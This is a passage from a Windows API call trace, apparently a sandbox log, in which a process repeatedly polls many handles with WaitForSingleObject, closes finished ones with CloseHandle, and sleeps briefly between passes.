(hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0045.550] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x102 [0045.550] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x102 [0045.550] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x102 [0045.550] Sleep (dwMilliseconds=0x1) [0045.636] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0045.636] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0045.636] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x0 [0045.636] CloseHandle (hObject=0x1c0) returned 1 [0045.636] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x0 [0045.636] CloseHandle (hObject=0x1c4) returned 1 [0045.636] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x0 [0045.636] CloseHandle (hObject=0x1c8) returned 1 [0045.636] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x0 [0045.636] CloseHandle (hObject=0x1cc) returned 1 [0045.636] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x0 [0045.636] CloseHandle (hObject=0x1d0) returned 1 [0045.636] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x102 [0045.636] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x0 [0045.636] CloseHandle (hObject=0x1d8) returned 1 [0045.636] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x0 [0045.636] CloseHandle (hObject=0x1dc) returned 1 [0045.636] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0045.636] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x102 [0045.636] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x102 [0045.636] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x20c, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x102 [0045.637] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x248, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0x0) returned 0x102 [0045.638] WaitForSingleObject (hHandle=0x278, dwMilliseconds=0x0) returned 0x102 [0045.638] Sleep (dwMilliseconds=0x1) [0045.934] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x0 [0045.934] CloseHandle (hObject=0x1bc) returned 1 [0045.934] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x0 [0045.934] CloseHandle (hObject=0x1b0) returned 1 [0045.935] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x0 [0045.935] CloseHandle (hObject=0x1d8) returned 1 [0045.935] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0045.935] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0045.935] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x0 [0045.935] CloseHandle (hObject=0x1c8) returned 1 [0045.935] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0045.935] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x0 [0045.935] CloseHandle (hObject=0x1d4) returned 1 [0045.935] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0045.935] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0045.935] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0045.935] CloseHandle (hObject=0x1e0) returned 1 [0045.935] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x0 [0045.935] CloseHandle (hObject=0x1e4) returned 1 [0045.935] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x0 [0045.935] CloseHandle (hObject=0x1e8) returned 1 [0045.935] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0 [0045.935] CloseHandle (hObject=0x1ec) returned 1 [0045.935] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0045.935] CloseHandle (hObject=0x1f0) returned 1 [0045.936] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x1f4) returned 1 [0045.936] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x1f8) returned 1 [0045.936] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x1fc) returned 1 [0045.936] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x200) returned 1 [0045.936] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x204) returned 1 [0045.936] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x208) returned 1 [0045.936] WaitForSingleObject (hHandle=0x20c, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x20c) returned 1 [0045.936] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x210) returned 1 [0045.936] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x214) returned 1 [0045.936] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0x0) returned 0x0 [0045.936] CloseHandle (hObject=0x218) returned 1 [0045.936] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x21c) returned 1 [0045.937] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x220) returned 1 [0045.937] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x224) returned 1 [0045.937] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x228) returned 1 [0045.937] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x22c) returned 1 [0045.937] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x230) returned 1 [0045.937] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x234) returned 1 [0045.937] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x238) returned 1 [0045.937] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x23c) returned 1 [0045.937] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x240) returned 1 [0045.937] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0x0) returned 0x0 [0045.937] CloseHandle (hObject=0x244) returned 1 [0045.938] WaitForSingleObject (hHandle=0x248, dwMilliseconds=0x0) returned 0x0 [0045.938] CloseHandle (hObject=0x248) returned 1 [0045.938] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x0 [0045.938] CloseHandle (hObject=0x24c) returned 1 [0045.938] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x0 [0045.938] CloseHandle (hObject=0x268) returned 1 [0045.938] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x0) returned 0x0 [0045.938] CloseHandle (hObject=0x270) returned 1 [0045.938] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0x0) returned 0x0 [0045.938] CloseHandle (hObject=0x274) returned 1 [0045.938] WaitForSingleObject (hHandle=0x278, dwMilliseconds=0x0) returned 0x0 [0045.938] CloseHandle (hObject=0x278) returned 1 [0045.938] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x280, dwMilliseconds=0x0) returned 0x102 [0045.938] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102 [0045.939] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x314, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x0) returned 0x102 [0045.940] WaitForSingleObject (hHandle=0x330, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x34c, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x350, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x36c, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0x0) returned 0x102 [0045.941] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3a0, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3a4, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3ac, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3b0, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3b8, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3c0, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3c8, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3cc, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3d0, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3d4, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3d8, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0x0) returned 0x102 [0045.942] WaitForSingleObject (hHandle=0x3e0, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x3e4, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x3e8, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x3ec, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x3f0, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x3f4, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x3f8, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x404, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x408, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x40c, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x410, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x414, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x418, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x41c, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x420, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x424, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x428, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x42c, dwMilliseconds=0x0) returned 0x102 [0045.943] WaitForSingleObject (hHandle=0x430, dwMilliseconds=0x0) returned 0x102 [0045.943] Sleep (dwMilliseconds=0x1) [0048.366] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x248, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x0 [0048.366] CloseHandle (hObject=0x1d0) returned 1 [0048.366] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x0 [0048.366] CloseHandle (hObject=0x1cc) returned 1 [0048.366] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0048.366] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x0 [0048.366] CloseHandle (hObject=0x224) returned 1 [0048.367] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x20c, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0048.367] CloseHandle (hObject=0x1f0) returned 1 [0048.367] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x102 [0048.367] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x0 [0048.367] CloseHandle (hObject=0x1e4) returned 1 [0048.367] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0048.367] CloseHandle (hObject=0x1e0) returned 1 [0048.368] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x0 [0048.368] CloseHandle (hObject=0x1d4) returned 1 [0048.368] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x0 [0048.368] CloseHandle (hObject=0x1c8) returned 1 [0048.368] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x434, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x438, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x43c, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0x0) returned 0x102 [0048.368] WaitForSingleObject (hHandle=0x440, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x444, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x448, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x280, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x0) returned 0x0 [0048.369] CloseHandle (hObject=0x28c) returned 1 [0048.369] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x0) returned 0x0 [0048.369] CloseHandle (hObject=0x290) returned 1 [0048.369] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x0 [0048.369] CloseHandle (hObject=0x298) returned 1 [0048.369] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x0) returned 0x0 [0048.369] CloseHandle (hObject=0x29c) returned 1 [0048.369] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0x0) returned 0x0 [0048.369] CloseHandle (hObject=0x2a4) returned 1 [0048.369] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x0) returned 0x102 [0048.369] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x0) returned 0x0 [0048.369] CloseHandle (hObject=0x2ac) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x0) returned 0x0 [0048.370] CloseHandle (hObject=0x2b0) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x0) returned 0x102 [0048.370] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0x0) returned 0x0 [0048.370] CloseHandle (hObject=0x2b8) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0x0) returned 0x0 [0048.370] CloseHandle (hObject=0x2bc) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x0 [0048.370] CloseHandle (hObject=0x2c0) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x0 [0048.370] CloseHandle (hObject=0x2c4) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x0 [0048.370] CloseHandle (hObject=0x2c8) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x0 [0048.370] CloseHandle (hObject=0x2cc) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0048.370] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x0 [0048.370] CloseHandle (hObject=0x2d4) returned 1 [0048.370] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102 [0048.371] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x0 [0048.371] CloseHandle (hObject=0x2dc) returned 1 [0048.371] 